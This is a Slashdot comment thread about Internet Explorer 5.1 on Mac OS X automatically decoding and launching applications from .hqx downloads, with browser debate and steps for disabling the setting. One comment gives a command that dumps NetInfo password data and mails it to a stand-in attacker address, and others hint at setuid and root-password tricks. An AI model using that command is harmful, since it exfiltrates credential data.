    I haven't had much chance to play with OS X (disappointing), but all the previous Mac's I've played with have had it set that "Stuffit" (like winzip) is launched automatically for the .hqx file so they're auto unzipped onto your desktop. didn't matter what browser you were using, that's just the way it was done. Probably just something that got overlooked in the MacOS to FreeBSD core transition . . .

    Dan

    --
    "All that we see and seem is but a dream within a dream." --Edgar Allen Poe
    1. Re:Defaults by Anonymous Coward · · Score: 0

      Now, IE no longer launches stuffit. IE does the decoding and opening of the file itself.

      You can tell it to stop doing this in the preferences.

  20. It may be configurable but why not secure defaults by hillct · · Score: 2

    OK, so this behavior appears to be configurable, but why wouldn't you set the default to the more secure alternative? Does Microsoft really think so poorly of their users that they honestly believe having to click one more 'OK' button would cause them to loose a significant market share? This is rediculous. What possible benefit is there in establishing an insecure default setting?

    --CTH

    --

    --Got Lists? | Top 95 Star Wars Line
  21. Personally, I prefer OmniWeb by ehintz · · Score: 5, Informative

    I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb (www.omnigroup.com). Problem solved.

    As an added benefit, OmniWeb has options to disable banner ads (sorry VA), kill javascript popup windows, and it's just a generally nicer browser with more intelligent design decisions. And it keeps web pages from looking like NASCAR with all the bloody ads and popups. Did I mention how it kills ads and popups? Although I will admit IE is wicked fast under 10.1, OmniWeb is plenty fast enough.

    --
    ehintz
    1. Re:Personally, I prefer OmniWeb by billybob · · Score: 2, Informative

      Plenty fast? OmniWeb is the slowest browser I have ever used. Feature-wise, yah, it's great, on par with iCab. Like icab, however, as an actual browser, it blows serious donkey ballz.

      --
      Joseph?
    2. Re:Personally, I prefer OmniWeb by ehintz · · Score: 1

      Plenty fast? OmniWeb is the slowest browser I have ever used. Feature-wise, yah, it's great, on par with iCab. Like icab, however, as an actual browser, it blows serious donkey ballz.


      I do hope you're running 10.1 when you make that statement. Under 10.0.4 it was indeed painfully slow. Under 10.1 on a G4 450, it is, indeed, plenty fast. I am posting from this combo even as we speak. Interestingly, this is the same release of OmniWeb I was using under 10.0.4, so the speed increases are entirely due to 10.1, which would indicate that at least some of OmniWeb's slowness was Apple's fault rather than OmniGroups.

      --
      ehintz
    3. Re:Personally, I prefer OmniWeb by Wyatt+Earp · · Score: 1

      It seems quick enough on OS 10.0.4 on my TiBook, havn't messed with it much on 10.1 yet.

      I think the whole Fast/Slow issue on 10.0x was really a YMMV issue.

      I had alot of things that people whined about not seem slow, and some things people said screamed by, were slow as hell. 10.1 seems pretty quick all the way around though.

    4. Re:Personally, I prefer OmniWeb by melquiades · · Score: 2

      I do occasionally use IE, when hitting one of those pages designed by MS only shops

      Really? I just uninstalled IE altogether.

      Omniweb is a really beautifully designed program, probably the finest web browser I've used. I really recommend it to OS X users who haven't tried it out yet.

      It's frustrating that Apple doesn't bundle Omniweb w/OS X. I'm sure that there is no M$ arm-twisting involved, though....

    5. Re:Personally, I prefer OmniWeb by Art+Tatum · · Score: 1

      Not to mention that it's an OpenStep application written in Objective C. Too bad we can't get Omni to do the (trivial) GNUstep/Linux port. It would mostly just require a recompile since their basic frameworks have been ported.

    6. Re:Personally, I prefer OmniWeb by yomegaman · · Score: 1

      Are you sure it'd be a trivial port? I imagine OmniWeb is probably using Quartz, for which there is no GNUstep counterpart last I checked. Also, if it were possible why would it have to be specifically for Linux? Are you an OS bigot? :-)

      --
      ...wearing a skin-tight topless leather jumpsuit, with cutaway buttocks and transparent crotch panel.
    7. Re:Personally, I prefer OmniWeb by Anonymous Coward · · Score: 0

      Remember that deal awhile back, where M$ invested in apple, and many conditions were agreed upon? one condition of taht deal was bundling the browser, and no competitors. and yes i know i misspelled "that", and i dotn care. ahahahhahah

    8. Re:Personally, I prefer OmniWeb by Art+Tatum · · Score: 1
      Are you sure it'd be a trivial port? I imagine OmniWeb is probably using Quartz, for which there is no GNUstep counterpart last I checked.

      Fairly sure, yes. Both Quartz (OSX) and DPS (NeXTSTEP, GNUstep) are hidden behind the high-level API (The Application Kit). All Cocoa (or OpenStep) applications are supposed to make use of the Application Kit rather than directly dealing with the rendering engine unless they want to do something really funky. OmniWeb shouldn't need to do anything really funky.

      Why did I specify Linux? Because most people here have no clue what GNUstep is or what it runs on. Linux is just a convenient placeholder--you could substitute BSD or Solaris (but not Windows!) in there.

    9. Re:Personally, I prefer OmniWeb by Art+Tatum · · Score: 1

      An addendum: OmniWeb *might* be doing something directly in the HTML layout engine. I think that they would probably be using the text and image layout classes in the AppKit, however.

  22. root by Anonymous Coward · · Score: 0

    does it run them as root?

    1. Re:root by destructo666 · · Score: 1

      not unless you are dumb enough to login as root. you need user authentication to run anything as root.

    2. Re:root by Anonymous Coward · · Score: 0

      that's not true. chmod +S can set a binary to run as root, no matter who executes it. hfs+ allows anyone to set the superuserid bit, too...

  23. Here's why... by dragons_flight · · Score: 1

    Without Windows and IIS, the Mac simply wasn't meeting the evil corporation standard for security holes. After all the virus market needs corporate welfare like this is they are ever going to be an accepted player on minority platforms.

  24. filter blocking the Re:Well, yeah..... by motherhead · · Score: 0, Redundant

    yeah you beat me to the punch but that was pretty much exactly what i was thinking...

    "how come something that can be changed with two simple radio button clicks is being broadcast as a gapeing titanic scale hole in Max OS 10.1 security..."

    Had i posted it first though, i would have tossed in some. "For Shame!" as well, especially after reading all the kneejerk anti-Mac anti-BSD trolls and their retarded comments.

    good call, good post.

  25. Not exactly.... by sammy.lost-angel.com · · Score: 1

    Actually it tries to launch stuffit or another expander to automatically unencode the files.

  26. Workaround? by maniac11 · · Score: 2, Insightful

    Setting StuffIt Expander to be the helper app for .sit, .bin. and .hqx file types should circumvent this problem, right?

    --
    Guvegrra?
    1. Re:Workaround? by MonMotha · · Score: 1

      It's a circumvention device! RUN! It's illegal under the DMCA! Heh, couldn't help but get the DMCA bashing in there on that one.

      --MonMotha

    2. Re:Workaround? by voidstin · · Score: 1

      ... or you can just uncheck the boxes in the preferences, as previously discussed.

      Explorer->Preferences->Download Options

      uncheck both 'automatically decode' buttons at the bottom...

  27. And I got one word for YOU! by Anonymous Coward · · Score: 0

    Wait. I'm not ready. Don't count those words! I mean these words... dammit! Don't count those either! Or these!

    Fuck, this is harder than I thought!

    Only count of of those words.

    FUCK!!!

  28. Upon learning of the news, by Anonymous Coward · · Score: 0
    Microsoft officials in Redmond notified all seven users of the product.

    ~~~

  29. Funny I haven't seen this PROBLEM yet. by Anonymous Coward · · Score: 0

    Now you all do realize that DECODING a .HQX file really isn't the same as executing an application. I also haven't seen MSIE decoding applications and then running them either.

    This smells of troll to me.

  30. thanks by Anonymous Coward · · Score: 0

    that's all.. I just made the change.

  31. Re:Not M$ by LordNimon · · Score: 2, Informative

    No, it's not. IE for the Mac is developed and published by Microsoft. Apple just pre-loads it and ships it with its OS. You can download IE from Microsoft's website, not from Apple's.

    --
    And the men who hold high places must be the ones who start
    To mold a new reality... closer to the heart
  32. Re:Not M$ by Anonymous Coward · · Score: 1, Informative

    That's total horseshit. Internet Explorer for Mac OS is developed and published by Microsoft, NOT Apple. And by the way, for those of you who after nearly two decades can't get it through your heads, "Mac" is not an acronym, it's an abbreviation (actually more like a nickname). Therefore, capitalization is completely unnecessary and really just goes to show how uninformed and idiot you really are in these matters.

  33. User level is DANGEROUS for malicious code! by infractor · · Score: 4, Insightful

    Well, unless this is some unix I've not seen...

    Normal users have the ability to open TCP sockets, fork processes etc.

    All the code has to do is download itself, background itself as an non-stoppable process and then use the network to scan like crazy for whatever vulnerability you like!

    Even if you're not scanning for vulnerabilities, your code could be repeatedly mailing bugs@microsoft.com or whatever. A Denial of service attack with a userlevel account is also possible...

    1. Re:User level is DANGEROUS for malicious code! by ichimunki · · Score: 2

      Not to mention that most users store a lot of data at the user level! How about an executable that mailed off every file it could find in standard user locations to strangers? How about an app that deletes every file it can? How about something that downloads naughty pictures and sets them as the desktop (wouldn't that be great at work)?

      I can think of millions of incredibly destructive things to do at the user level, so let's not pat OS X on the back for being a Unix and having some better-than-MS security model that will keep it safe while running lame MS applications. Security is as security does and this hole can do some real damage despite being a user process.

      --
      I do not have a signature
    2. Re:User level is DANGEROUS for malicious code! by SeanAhern · · Score: 1

      You're completely right.

      All the malicious downloaded code has to do is:
      /usr/bin/nidump passwd . | /usr/bin/mail hacker@hacked.org

      Bingo, a bunch of passwords (including root) ready to crack.

    3. Re:User level is DANGEROUS for malicious code! by V.P. · · Score: 0

      What's nidump, BTW?

    4. Re:User level is DANGEROUS for malicious code! by rabidMacBigot() · · Score: 1

      nidump(8), reads the specified NetInfo domain and dumps its contents to stdout. What's NetInfo? It's the MacOS X (derived from NeXT?) way of storing system info like user accounts, groups, passwords, hostnames, interfaces, etc. On OS X (and Server), most of the config data that would be stored in /etc on other Unix systems is stored in a NetInfo database in a hierarchical format. Machines can also be configured to use a remote NetInfo server. More info can be found in the 'Understanding and Using NetInfo' PDF.

  34. Re:Not exactly.... what it REALLY does by sammy.lost-angel.com · · Score: 2, Informative

    After decoding, it tries to run the application contained within. THAT is the security concern. There is an important difference.

  35. Thanks by Anonymous Coward · · Score: 0

    Thanks for reminding me, now I will have this *feature* disabled. It was annoying anywayz.

  36. OmniWeb, Mozilla by green+pizza · · Score: 2

    I can't think of a better case for Mozilla or OmniWeb (the way cool browser that came over from the NeXT world).

    You're using Mac OS X, why have *anything* to do with Microsoft?? Forget MSIE and use Mozilla or OmniWeb.

    Though.... I have to admit that MS Office X looks kinda neat. I just hope Corel hurrys up and makes a "Corel Office Suite X".

    1. Re:OmniWeb, Mozilla by Anonymous Coward · · Score: 0

      Omniweb does not have complete javascript support.

      Mozilla is simply not a finished product.

      Omniweb is what i use, but it is by no means right for everyone. MSIE is just the browser that fits some people's needs.

    2. Re:OmniWeb, Mozilla by Anonymous Coward · · Score: 0

      err but mozilla is awfull

  37. oh have four as well! by Anonymous Coward · · Score: 0

    Embarassment to your mother.

    or

    retarded wannabe script kiddy.

    or

    future computer science dropout.

  38. Re:Dammit! by Anonymous Coward · · Score: 0

    Hmmmmmm.....

    Must be why they invented the delay in the first place.

    Glad to see it is working. :)

  39. Mac Os X Browser Options by ShaneX · · Score: 0

    The effect of this problem will likely be diminished by the very large percent (in comparison to that of Windows and Mac Os 9.x or lower users) of OS X users who use browsers other than IE.
    In particular, OmniWeb is a very popular browser in the Os X community. It has gained it's remarkable popularity through the fact that it was both reasonably bug free before IE and it also won two awards from apple for being an excellent product.

  40. Re:Not M$ by AtaruMoroboshi · · Score: 1

    And microsoft doesn't have a Macintosh division?

    Being that "Microsoft products for the mac" brings you to a page with Internet Explorer for download, I'd say you are making stuff up.

    Care to prove Microsoft didn't make the Mac version?

  41. The MacOS user experience by Mdog · · Score: 1

    Ever since I can remember, using MacOS has been all about not having to go through any extra crap to get something to work. If you want X on your computer from the internet, you click on X, and it unzips itself and starts the installer.

    I am very strongly against Microsoft on all fronts, but I don't think its fair to blame them very strongly for this. This is very much in keeping with the Macintosh ease of use philosophy.

    I also don't understand why people are making a big deal out of the option to turn this off. If this were enabled by default, it would ask the user "do you really want to run this"...what do you think the average user would say? How is that dialog box making things more secure?

    1. Re:The MacOS user experience by Darby · · Score: 1

      I am very strongly against Microsoft on all fronts, but I don't think its fair to blame them very strongly for this. This is very much in keeping with the Macintosh ease of use philosophy.

      Bullshit!
      Going along with the ease of use philosophy means when you download a compressed then your decompression program (Stuffit Expander on a Mac) will automatically decode it for you. At which point you can, at your leisure, scan the file for viruses, worms, etc.
      MS apparently wants to put Alladin systems out of business by including stuffit decompression in their product while at the same time making Apple look like MS by having an idiotic security hole.

      No one *ever* asked for something like this.

    2. Re:The MacOS user experience by Anonymous Coward · · Score: 0

      Darby is right on the money.

  42. i didn't even think it was a bug by SirSlud · · Score: 4, Interesting

    With MS's history, my friend discovered this three days ago and told me. Both of us assumed since it is an MS product that it was the way it was meant to be. Its such an obvious hole that we didn't even think it was a bug, just terrible and user-un-friendly design (as per the usual MS shit.)

    --
    "Old man yells at systemd"
  43. As YOU DIDN"T read this article using said browser by SteveM · · Score: 5, Informative

    Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?"

    We all know how hard it is to click on a link and read the article, so I did it for you.

    From the MacInTouch web site: "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!"

    I suggest that in the future you read the article in question before posting.

    Steve M

  44. Knowing Microsoft... by neema · · Score: 3, Funny

    "Oh this won't hurt anyone, and saving that extra 'OK' click will be great!". "

    Knowing Microsoft, even when it does ask you to execute the file, the only option it'll give is "OK".

    1. Re:Knowing Microsoft... by upstairs · · Score: 0

      Or one of those 'No' buttons that moves elsewhere whenever you go to click it.

  45. Sounds like the recent slrn bug by coyote-san · · Score: 3, Interesting

    This sounds a lot like the recently discovered slrn bug (see Bugtraq, LWN, Debian) that automatically executed all scripts encountered, apparently assuming they were self-extracting archive files.

    However, I'm not sure Microsoft should be let off the hook for the equivalent behavior on the Mac. The Unix code was there for a very, very long time... when it was added it was a reasonable assumption that people would not send nasties because it was too easy to complain to their employer or grad department (the only way to get online) and cause the sender significant personal pain. (This is also a painful reminder that just because code is available doesn't mean that the right people are reviewing it.) In contrast, by the time somebody added that code to the Mac version of MSIE, the possibility of untraceable, hostile scripts should have been obvious.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  46. Tried it. Does nothing by cith · · Score: 3, Informative

    I tried it with my 10.1 system. The .hqx file is decoded into an application, but doesnt get executed unless you double click on it. Seems Ok to me.

  47. Who uses Microsoft products anyway? by Anonymous Coward · · Score: 0

    A Microsoft product with a security hole? This needed a post?

  48. This is not a worm hole. by Giant+Hairy+Spider · · Score: 2

    There was no real chance this would spread to webservers by that route anyway. Not many people surf the web from a webserver (those who do tend to serve files from their userspace, even assuming they don't also run the webserver with their normal user permissions).

    Trojans are the basic threat, but viruses have been spreading through other means for a long time. Since most end-users spend all their time in one account, not being able to access the underlying admin privileges is about as relevant as not being able to change the hardware configuration.

    --

    ---
    You'd be surprised at the broadband connection available to things crawling around in your hair.
  49. Zorak said it best. by Rhinobird · · Score: 1

    I do believe Zorak said best when he said, "ALRIGHT! SMACKDOWN!". Let's see the geeks lay some of that smackdown on M$....

    --
    If Mr. Edison had thought smarter he wouldn't sweat as much. --Nikola Tesla
    1. Re:Zorak said it best. by Anonymous Coward · · Score: 1, Funny

      Yeah I'm sure MS is scared of a bunch of fat, pimply ugly losers who try and sissy-slap their way into MS headquarters. Get real.

  50. Yup it's real. by Auckerman · · Score: 2

    Just tested it. It appears that IE opens the file without specifing which application to open it with (which is something that OS X supports), in the expectation that the .hqx file is also stuffit compressed (which is logical, %99.99 of the time anything that is .hqx is also .sit). So I just chmod 700 IE (it's owned by root which is in the same group as the admin account) on both Macs in our Lab. Not a big deal since everyone uses Mozilla anyhow.

    --

    Burn Hollywood Burn
  51. look in the preferences by bubbo · · Score: 2, Redundant

    In the preference options, under download options, there is a checkbox for opening binhex, and macbinary files automatically. If you are really concerned about it, turn it off.

  52. Re:Not M$ by kerincosford · · Score: 1

    uh......

    what the fuck is this then?

    Mactopia.

    *snicker*...

  53. Re:Not M$ by kilgore_47 · · Score: 2, Interesting

    Not true.

    Microsoft has a large mac software division that makes IE as well as Office for Mac and some other software.

    In fact, microsoft's mac division has more mac programmers than anywhere else but Apple (or so I read in a macworld article a few months back).

    --
    ___
    The way to see by faith is to shut the eye of reason. --Ben Franklin
  54. I wish I could mod this up by HoaryCripple · · Score: 0, Redundant

    It does not deserve a 0

  55. Re:Not M$ by bnenning · · Score: 2

    Umm, no. Apple does not develop Microsoft Internet Explorer.

    --
    How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
  56. Dude by Anonymous Coward · · Score: 0

    The URL you included (is that your .sig?) has a space in between 'r' and 't' in the word 'part' because of the fact that Slashcode inserts random spaces in long words so that the tables line up correctly.

    Maybe you could make an href?

    Nice, link, btw. I'm a pro-gun Democrat (imagine that! :) and I'm sure to use the info there when debating my more liberal friends.

  57. Cut the crap .hqx==.uue or base64 by buserror · · Score: 1

    .hqx are like .uue. One doesn't 'execute' them. They are text files that just decoded, result is put into a folder and nothing gets executed at all.

    You can get a 'helper' to open the file to possibly decompress it etc, but thats optional.
    And if you use the default helper (Stuffit expander), the decompressed files are put into the folder, and STILL nothing gets executed.

    Go back to chasing .vbs files!

    1. Re:Cut the crap .hqx==.uue or base64 by Mister+Attack · · Score: 1

      As the article states, MSIE 5.1 on OS X will decode .hqx files, then execute the result if the result is an executable. Apparently IE assumes that anything .hqx is also .sit, and intended to launch Stuffit Expander... but if it's an executable.hqx, then the executable gets run.

      Think!

    2. Re:Cut the crap .hqx==.uue or base64 by vivekb · · Score: 1

      True, HQX is just an encoded file. However the article is true when it states that the new IE will AUTOMATICALLY launch an HQX'ed application after it gets unstuffed.

      I went to the website set up by the author (http://pardeike.net/danger.hqx), and IE did indeed launch the application "danger".

      Needless to say, that kind of behaviour is totally insane.

  58. Re:Not M$ by ehintz · · Score: 5, Informative

    Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

    Not. It's developed and published by the Microsoft Macintosh Business unit, which is a somewhat independent MS arm out in the SF Bay Area. Apple's only involvement is bundling IE with the OS. About the only way your statement is accurate is if you're trying to stipulate that IE for Mac has little to do with IE for windows, which is correct. In fact, it's not uncommon for IE/Windoze to inherit good ideas from IE/Mac.

    And not to be picky, but it's Mac. Short for Macintosh. Not MAC, short for Media Access Control address, as in your NIC card.

    --
    ehintz
  59. Security comparison; reason for insecure code? by Scoria · · Score: 4, Informative

    IE Exploits:

    q279328 - allows execution of code through print templates or web forms

    q286045 - allows someone to execute files and read files on your machine (using a combination of both exploits that patch fixed)

    q286043 - allows someone to begin a telnet session and send data to your machine (as well as execute it) if you've installed Services for Unix

    q273868 - sends your authentication information on every query as long as they're on the same hostname

    Four major exploits in the last twelve months. Certainly, those aren't all of the exploits, erm, extra features that IE has had bundled with it lately, but they are a few that have readily accessible information from Microsoft.

    One could imagine eternally why Microsoft designs such insecure products, but look at it this way:

    Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

    Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

    --
    Do you like German cars?
    1. Re:Security comparison; reason for insecure code? by WolfWithoutAClause · · Score: 3, Funny

      >Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

      Harder! Because evil never sleeps... ;-)

      --

      -WolfWithoutAClause

      "Gravity is only a theory, not a fact!"
    2. Re:Security comparison; reason for insecure code? by Anonymous Coward · · Score: 0

      4 bugs found in 1 year. Go to bugzilla and see how many bugs were found in mozilla in the last week alone.

      Then consider that ie has 3-4 times the number or users, so a mozilla bug is more likely to go unreported.

      Then crawl back under your bridge, troll

    3. Re:Security comparison; reason for insecure code? by Anonymous Coward · · Score: 0

      The reasons for insecure code is to force you to upgrade. MS has fully the resources to make sure these major flaws don't get published, but they don't since they need to force the user to upgrade to maintain the revenue stream. This is a major problem with monopolies.

    4. Re:Security comparison; reason for insecure code? by yesthatguy · · Score: 1

      Well, considering that Mozilla is still in pre-release stage (hence the 1 version numbers), and IE is now at version 5-6, I can accept this. At a pre-release stage, there ought to be many bug reports, and I'm sure if you find a list of bug reports for IE betas, you'll find just as many.

      --
      Yes! That guy!
    5. Re:Security comparison; reason for insecure code? by Scoria · · Score: 1

      Yeah, but people saavy enough to compile Mozilla from source are probably more likely to report a bug. Some of these people are the type that would even go so far as to create a patch.

      Many IE users pass it off as "buggy Windows" and accept it as computer normalcy when it comes to the browser's flaws. IE's "three or four times the users" are usually those who use it only because it shipped with Windows and they don't know that there may be something that would be more appropriate for their use.

      And you have to remember that these are four very critical security bugs, not just normal bugs such as, "The about window won't open after you look at it fifty times."

      By the way, I'm fairly sure that Microsoft doesn't report all of the bugs it fixes between versions (CHANGELOGs); they only report those which are critical and require immediate upgrading, not the bugs that are minor inconveniences and aren't likely to be noticed. Hey, it's what I would do.

      --
      Do you like German cars?
    6. Re:Security comparison; reason for insecure code? by Anonymous Coward · · Score: 0

      bug != exploit.

      Besides the latest nightly build from mozilla kicks serious ass. They have a tabbed interface that rocks. Go try it out and you will never go back to IE.

    7. Re:Security comparison; reason for insecure code? by Anonymous Coward · · Score: 0

      The duality of Mozilla defenders is hilarious. Either it's pre-release (Mozilla 0.9.4), or it's production ready and we should code for it (Netscape 6.1). What should I tell my boss?

    8. Re:Security comparison; reason for insecure code? by jsse · · Score: 1

      Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

      Blah! Just say No to unreasonable deadline. Fight like a programmer!

      Oh wait, what does a programmer fight like?

    9. Re:Security comparison; reason for insecure code? by yesthatguy · · Score: 1

      Tell your boss to use it if he likes it. I'm not quite sure what you mean by production-ready. A browser isn't exactly a mission-critical application, and I can deal with it failing once in a while. Under linux right now, mozilla seems to be the best solution for me. It has better readability than Netscape 4.7, even though it's not as stable and robust. Most of what I want to see in a browser is readability, having it render pages fairly well, and being able to read text.

      --
      Yes! That guy!
    10. Re:Security comparison; reason for insecure code? by Anonymous Coward · · Score: 0

      Oh yes... and of course the intense pressure on MS in the browser market forced them to meet an unrealistic deadline...

      Give me a break! We all know that there is very little competition out there for IE today for most users. If you work for a company using any MS Apps, chances are it requires IE anyway. They don't have a lot of competitive pressure.

  60. Re:Not M$ by destructo666 · · Score: 1

    the Microsoft Macintosh Business Unit creates all the Microsoft apps for the Macintosh. educate yourself before posting http://maccentral.macworld.com/news/0109/24.macbu. php

  61. That user was uninformed or misconfigured... by Mr.+Sharumpe · · Score: 1

    Man, this thing is blown WAY out of proportion. The so-called "bug" isn't a bug at all. If anything, it is a poor choice for a default Helper App configuration, not cause for a big fat alarm. You should be cautious when downloading applications in any case. What happens here is that the Helper App for .bin and .hqx (Stuffit Expander by default on my machine) is launched when those files are downloaded.

    This is not a software bug or a security hole in the grand sense. This is a stupid decision by someone who configured the defaults. I suggest that maybe it's not a universal thing, since most reports here do not duplicate the "bug".

    I kind of expected the first reported security holes in Mac OS X to be something, well, at least seemingly legitimate.

    Mr. Sharumpe

    --
    -- The above comments are just my opinion. If you are going to flame me, save your time. I am fireproof.
    1. Re:That user was uninformed or misconfigured... by Anonymous Coward · · Score: 0

      Read a little closer.

    2. Re:That user was uninformed or misconfigured... by Anonymous Coward · · Score: 0

      Disagree. This is not defensible.

      1. A large percentage of an organization's security holes are exploitation of social engineering.
      2. This is horrible social engineering. An insignificant percentage of people in the cube farm will turn off default execution.
      3. Therefore, it is a highly significant security hole.

      Plain and simple.

      Just meandering into this issue from wired.com and a non-Mac background, I can't believe how unconcerned some people are about this. If periodically losing your system is unimportant, it's a good thing I'm not your sysadmin. I'd periodically get back to you "next week".

  62. I really don't see what the problem is. by LafinJack · · Score: 1

    .hqx files are compressed files, not program files. They aren't run, they are decoded with another program, which is usually Aladdins Stuffit Expander. This has been going on forever, since before OS X. Netscape browsers do this, as does iCab, Opera, and pretty much any other Mac browser. So what's the big deal? The file is useless until it's decoded, so why not have that done automatically?

    Quit being so goddamn paranoid and eliteist, get on with your lives, and let others do the same.

    --
    we are building a religion
    a limited edition
    we are now accepting callers
    for these pendant key chains
    1. Re:I really don't see what the problem is. by Graymalkin · · Score: 2

      Yeah but alot of .hqx files automatically run install scripts when they are expanded. You could pretty easily stick something inside a .hqx that wipes out ~/ or infects a file. However you're right. Slashdot sees something that is sort of not even really anti-microsoft and jumps all over it. I haven't been seeing too many Mac novices running out and installing OSX on their systems. Anyone who's been using Macs even for just a little while knows better than to have archives expand as soon as they're downloaded.

      --
      I'm a loner Dottie, a Rebel.
    2. Re:I really don't see what the problem is. by Anonymous Coward · · Score: 0

      from the article,

      "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!"

      see the words in caps ?

    3. Re:I really don't see what the problem is. by xochipili · · Score: 1

      This is simply false. HQX is an encoding scheme only. It does not contain any script handling or executable code options. The only way to hide a trojan horse is to make the executable itself malicious, which of course requires the user to launch it, which IE does automatically (in this case which is the point of this thread...). Normaly mac programs do NOT launch .HQX files after they have been unpacked.

    4. Re:I really don't see what the problem is. by krugdm · · Score: 1

      Not a problem? Click here if you're using IE5 for 10.1 and see what happens. Then tell me it isn't a problem.

    5. Re:I really don't see what the problem is. by emurphy94108 · · Score: 1

      I might be a complete idiot, but I think a lot of people are misunderstanding what this "feature" is about. Normally, if you download a .hqx'ed executable, using, say, OmniWeb, once the file is downloaded, Stuffit will launch, decode the file (usually it's also a .sit file, so it will keep processing the file until it's just a normal uncompressed file), and leave it on the desktop. This is NOT what's happening with Explorer. When you download an .hqx'ed executable, Explorer decodes it all by itself (without using Stuffit) and then EXECUTES the file (assuming it's an executable in the first place), without user interaction. That's what the problem is.

      Personally, I like the convenience of downloaded files being automatically decompressed and left on my desktop. But, security issues aside (and they do seem pretty serious), it would drive me CRAZY if every time I downloaded e.g. the latest patch for my drawing tablet, Explorer automatically launched the installer, without even asking me if that's what I wanted to do. Especially on an OS X machine, where because I don't have administrative privileges, I can't install the patch anyway without logging out and then logging back in as an administrator!

      I think M$'s internal motto is, "It's supposed to be automatic, but actually you have to press this button here."

      --
      "The Artist, seeking Beauty, discovers Truth; The Scientist, seeking Truth, discovers Beauty."
  63. Users are dumb by nvainio · · Score: 5, Insightful
    My guess would be that most users would turn it off when they go into the Prefs to change the default download location

    Yeah, just like "most users" turn off Java and JavaScript in their browsers? Or turn off macros in their Word and avoid macro viruses?

    Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

    Well, there will always be dumb users. They are not a problem, braindead defaults are. Without all these be-user-friendly-execute-it-all defaults, we would have less viruses and worms going around. Software developers should take their responsibility seriously.

    1. Re:Users are dumb by Anonymous Coward · · Score: 0

      Mac users are also confused by more than one mouse button.

    2. Re:Users are dumb by Anonymous Coward · · Score: 0

      Why would you turn off Java or JavaScript in your browser?

      That's the part that sounds dumb.

    3. Re:Users are dumb by eudas · · Score: 1

      maybe this is where the 'engineer' requirements etc should come from for "software engineers"...
      (think of civil engineers or mechanical engineers and all the checking and whatnot they have to do...)

      some random $0.02 from
      eudas

      --
      Blessed is he who expects the worst, for he shall not be disappointed.
    4. Re:Users are dumb by Anonymous Coward · · Score: 0

      as opposed to windows users, who cant even get their cases open? (we mac users have those nice easy opening swinging sides) hah!

    5. Re:Users are dumb by jsebrech · · Score: 1

      Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

      There are no dumb users, only dumb programs.
      A perfect program can not be used in an improper manner, and always does what the user means. The first property (not being used in an improper manner) is possible today. It just costs too much. The second demand is still some years away.

      I've always been quite partial to the star trek computer. Allows you to get into the guts of the system, but if you don't want to you can just ask it a question in normal english, and if it can't do what you want you can ask "why?" and gives a usable answer.
      Don't know if that's ever going to be possible, but it's a nice fantasy :)

    6. Re:Users are dumb by Anonymous Coward · · Score: 0

      Yeah, just like "most users" turn off Java and JavaScript in their browsers?

      Turning off Javascript doesn't require cluefulness. People don't initially do it because of security concerns. They do it, because having it turned on, result in constant annoyances. You can't count on people to protect themselves from vague threats, but you can often count on them to do what results in everyday convenience. This is why most people really do turn off Javascript.

    7. Re:Users are dumb by mrogers · · Score: 2
      "Most users" are dumb. They have no clue what is the difference between "document" and "program".

      Oh high and mighty Slashdotter, kindly explain to this dumb and lowly user the difference between a document and a program, with reference to the following cases:

      • A Word document with embedded macros - document or program?
      • A shell script - document or program?
      • A hex editor taking an executable file as its input
      • A dynamic linker/loader taking the same executable file as its input
      • An email that exploits a buffer overflow bug to load arbitrary code
      • Turing's proof of the undecidability of the halting problem, based on the idea of a Turing machine taking a coded description of itself as its input
  64. Here's the fix (no sarcastic anti-MS comment here) by Anonymous Coward · · Score: 5, Informative

    Launch IE 5.1, go to the Explorer menu, then to Preferences.

    Go to the "Receiving Files" options and DISABLE "Automatically decode MacBinary files" and "Automatically decode BinHex files".

    Easy as that.

  65. Re:Intrinsic Security in OS X - It's even worse... by benmartz · · Score: 2

    I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug. Did you know that you can change the root password on any Mac OS X box that an administrative user is logged into without having to know the current root password? (Hint: Any and all administrative users can use the NetInfo Manager application to modify the fields of the /etc/passwd file directly without having to authenticate...) Cheers, Ben

  66. or by Anonymous Coward · · Score: 0

    luser with no life

    or

    try going outside sometimes

    or

    try getting a date

  67. Re: Well, yeah... by gwyrdd+benyw · · Score: 2, Interesting
    It is dumb, but you can turn it off in the preferences panel.

    This is no excuse - all default options should be sensible options. Lots of people don't change their prefs from the defaults until something in the standard behaviour annoys them - which may take a long time, or forever.

    It's still dangerous, even if it can be disabled. It shouldn't even be an option. If you want to run the thing so badly, then go run it manually.

    (subject changed to avoid the "postersubj compression" error, whatever that is...)

    --

    I adblock all animated gifs.
    Blessed be the prime numbered slashdotters
  68. Re:Not M$ by Anonymous Coward · · Score: 0

    He is full of it. Typical troll behavior, but it's important to set the record straight. GreenPizza is passing on false information. Microsoft is indeed the publisher and developer of Microsoft IE (and as such responsible for its bugs).

  69. Try this.... by Anonymous Coward · · Score: 0

